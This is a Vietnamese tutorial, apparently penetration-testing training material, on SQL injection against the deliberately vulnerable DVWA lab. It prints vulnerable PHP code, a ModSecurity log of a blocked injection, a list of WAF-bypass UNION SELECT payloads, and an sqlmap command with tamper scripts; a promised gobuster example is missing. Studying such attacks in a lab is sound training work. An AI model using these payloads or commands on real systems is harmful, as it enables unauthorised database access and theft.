Tiêm nhiễm SQL là một loại tấn công mà các cá nhân độc hại sử dụng để truy cập trái phép vào cơ sở dữ liệu của một ứng dụng web, sửa đổi hoặc xóa dữ liệu. Trong cuộc tấn công này, kẻ tấn công chèn mã SQL độc hại vào các câu truy vấn SQL mà ứng dụng web sử dụng để giao tiếp với cơ sở dữ liệu.
Ứng dụng web tạo ra các câu truy vấn SQL để lấy thông tin từ cơ sở dữ liệu dựa trên dữ liệu do người dùng nhập vào (ví dụ: tên người dùng, mật khẩu, từ khóa tìm kiếm). Kẻ tấn công chèn mã SQL độc hại vào các trường nhập liệu này, làm thay đổi cấu trúc của câu truy vấn SQL và gây ra các hoạt động không mong muốn.
Ví dụ
Xét một biểu mẫu đăng nhập thông thường với các trường tên người dùng và mật khẩu. Biểu mẫu này tạo ra một câu truy vấn SQL như sau:
SELECT * FROM users WHERE username = 'user' AND password = 'pass'
Tuy nhiên, nếu kẻ tấn công nhập ' OR 1=1 -- vào trường tên người dùng, câu truy vấn SQL sẽ bị thay đổi thành:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'pass'
Trong trường hợp này, vì biểu thức 1=1 luôn đúng, câu truy vấn sẽ trả về tất cả bản ghi người dùng, cho phép kẻ tấn công đăng nhập mà không cần mật khẩu.
Mã nguồn ví dụ
Dưới đây là một đoạn mã nguồn PHP từ DVWA (Damn Vulnerable Web Application) ở mức bảo mật thấp:
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
break;
case SQLITE:
global $sqlite_db_connection;
#$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']);
#$sqlite_db_connection->enableExceptions(true);
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
#print $query;
try {
$results = $sqlite_db_connection->query($query);
} catch (Exception $e) {
echo 'Caught exception: ' . $e->getMessage();
exit();
}
if ($results) {
while ($row = $results->fetchArray()) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
} else {
echo "Error in fetch ".$sqlite_db->lastErrorMsg();
}
break;
}
}
?>
Tường lửa ứng dụng web (WAF)
Một payload trực tiếp như ' or 1=1 -- - sẽ bị WAF chặn lại. Các biến thể như thay đổi chữ hoa/thường hoặc thêm dấu nháy cũng không hiệu quả:
' oR 1=1 -- -' oR '1'='1' -- -
Dưới đây là nhật ký của một yêu cầu bị WAF chặn vì nghi ngờ tấn công SQLi:
--95d30709-A--
[20/Jun/2024:08:26:30.170636 +0000] ZnPntg9N6NOgQglLgIM6twAAAAA ATTACKER_IP 42428 VICTIM_IP 80
--95d30709-B--
GET /DVWA/vulnerabilities/sqli/?id=%27+or+1%3D1+--+-&Submit=Submit HTTP/1.1
Host: VICTIM_IP
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://VICTIM_IP/DVWA/vulnerabilities/sqli/
Cookie: security=low; PHPSESSID=mkir9lhmrjcnhd7fvbfkjvrtgr
Upgrade-Insecure-Requests: 1
--95d30709-F--
HTTP/1.1 403 Forbidden
Content-Length: 279
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=iso-8859-1
--95d30709-E--
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at VICTIM_IP Port 80</address>
</body></html>
--95d30709-H--
Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"]
Message: Warning. detected SQLi using libinjection with fingerprint 's&1c' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1c found within ARGS:id: ' or 1=1 -- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"]
Message: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"]
Message: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Pattern match "^[\\\\\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "VICTIM_IP"] [severity "WARNING"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 's&1c' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "65"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1c found within ARGS:id: ' or 1=1 -- -"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/66"] [tag "PCI/6.5.2"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "93"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 8)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.2"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Apache-Error: [file "apache2_util.c"] [line 271] [level 3] [client ATTACKER_IP] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "91"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 8 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 8, 0, 0, 0"] [ver "OWASP_CRS/3.3.2"] [tag "event-correlation"] [hostname "VICTIM_IP"] [uri "/DVWA/vulnerabilities/sqli/"] [unique_id "ZnPntg9N6NOgQglLgIM6twAAAAA"]
Action: Intercepted (phase 2)
Stopwatch: 1718871990169232 1446 (- - -)
Stopwatch2: 1718871990169232 1446; combined=1193, p1=260, p2=836, p3=0, p4=0, p5=97, sr=65, sw=0, l=0, gc=0
Response-Body-Transformed: Dechunked
Producer: ModSecurity for Apache/2.9.5 (http://www.modsecurity.org/); OWASP_CRS/3.3.2.
Server: Apache/2.4.52 (Ubuntu)
Engine-Mode: "ENABLED"
--95d30709-Z--
Phương pháp bypass
Để vượt qua WAF, có thể sử dụng một số kỹ thuật, chủ yếu dựa trên thử và sai. Một cách là thay thế khoảng trắng bằng /**/ để tránh bị khớp bởi biểu thức chính quy (regex). Ví dụ, payload ban đầu:
' or/**/1=1/**/-- -
Ngoài ra, có nhiều payload khác có thể thử để tránh bị regex phát hiện. Dưới đây là một số ví dụ:
1' and 1=1 union select database(),user()#
/*!50000%55nIoN*/ /*!50000%53eLeCt*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+union+distinctROW+select+
/**//*!12345UNION SELECT*//**/
/**//*!50000UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
/*!50000UniON SeLeCt*/
union /*!50000%53elect*/
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*!u%6eion*/ /*!se%6cect*/
+un/**/ion+se/**/lect
uni%0bon+se%0blect
Mục tiêu là tạo ra các biến thể của payload để tránh bị WAF phát hiện, bằng cách sử dụng các kỹ thuật như mã hóa, thay đổi ký tự, hoặc thêm các bình luận SQL.
VIII.Vượt qua WAF bằng Công cụ
Tổng quan
Mặc dù chúng ta đã thực hiện kiểm tra thủ công trong suốt quá trình đào tạo, nhưng có các công cụ tự động có thể được sử dụng để kiểm tra tất cả các payload vượt qua WAF.
Ví dụ, phần Fuzzing của SecLists có thể được sử dụng với công cụ như gobuster:
SQLMap
SQLMap là một công cụ kiểm tra thâm nhập mã nguồn mở được sử dụng để tự động phát hiện và khai thác các lỗ hổng tiêm nhiễm SQL. Công cụ này được viết bằng Python và hỗ trợ nhiều hệ quản trị cơ sở dữ liệu (DBMS).
Tính năng của SQLMap
- Quét tự động: SQLMap có thể tự động quét một ứng dụng web để phát hiện các lỗ hổng tiêm nhiễm SQL.
- Trích xuất thông tin cơ sở dữ liệu: Khi phát hiện lỗ hổng, SQLMap có thể trích xuất loại cơ sở dữ liệu, phiên bản, tên người dùng, bảng, cột và thậm chí cả dữ liệu.
- Thao tác trên cơ sở dữ liệu: SQLMap có thể thực hiện các thao tác đọc, ghi, cập nhật và xóa trên cơ sở dữ liệu.
- Truy cập hệ thống tệp: Trong một số trường hợp, SQLMap có thể truy cập hệ thống tệp của máy chủ, cho phép đọc hoặc ghi tệp.
- Thực thi lệnh hệ điều hành: Trong một số trường hợp, SQLMap có thể thực thi các lệnh hệ điều hành trên máy chủ.
- Hỗ trợ nhiều DBMS: Hỗ trợ các DBMS phổ biến như MySQL, PostgreSQL, SQLite, Microsoft SQL Server, Oracle, IBM DB2.
- Dễ sử dụng: Có giao diện dễ dùng, phù hợp cho cả người mới bắt đầu và người dùng có kinh nghiệm.
Trang trợ giúp của SQLMap
Dưới đây là trang trợ giúp của SQLMap:
┌──(tfp㉿kali)-[~]
└─$ sqlmap --help
___
__H__
___ ___[,]_____ ___ ___ {1.8.2#stable}
|_ -| . ['] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: python3 sqlmap [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target URLs
Request:
These options can be used to specify how to connect to the target URL
--data=DATA Data string to be sent through POST (e.g. "id=1")
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--random-agent Use randomly selected HTTP User-Agent header value
--proxy=PROXY Use a proxy to connect to the target URL
--tor Use Tor anonymity network
--check-tor Check to see if Tor is used properly
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques
--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end database
management system information, structure and data contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
Operating system access:
These options can be used to access the back-end database management
system underlying operating system
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
General:
These options can be used to set some general working parameters
--batch Never ask for user input, use the default behavior
--flush-session Flush session files for current target
Miscellaneous:
These options do not fit into any other category
--wizard Simple wizard interface for beginner users
Sử dụng SQLMap để vượt qua WAF
SQLMap có thể được sử dụng để kiểm tra lỗ hổng SQLi sau WAF. Ví dụ:
sqlmap -u 'http://VICTIM_IP/DVWA/vulnerabilities/sqli/?id=1' --cookie="security=low; PHPSESSID=fjiu1r8e909m14pqic7a07d3dn" --random-agent --delay 0.1 --tamper=modsecurityzeroversioned,space2hash
Để đạt hiệu quả tối ưu, cần thử nghiệm với các tham số như --level, --risk, --random-agent, và --delay để tìm ra phương pháp quét tốt nhất, tránh bị WAF chặn toàn bộ yêu cầu.
Giải thích các tham số
- -u: URL mục tiêu để kiểm tra.
- —cookie: Giá trị cookie HTTP, cần thiết khi ứng dụng yêu cầu phiên xác thực.
- —random-agent: Sử dụng User-Agent ngẫu nhiên để tránh bị phát hiện bởi WAF.
- —delay: Thời gian chờ giữa các yêu cầu (giúp giảm nguy cơ bị chặn).
- —tamper: Sử dụng các script tamper (như
modsecurityzeroversioned,space2hash) để sửa đổi payload nhằm vượt qua các bộ lọc của WAF.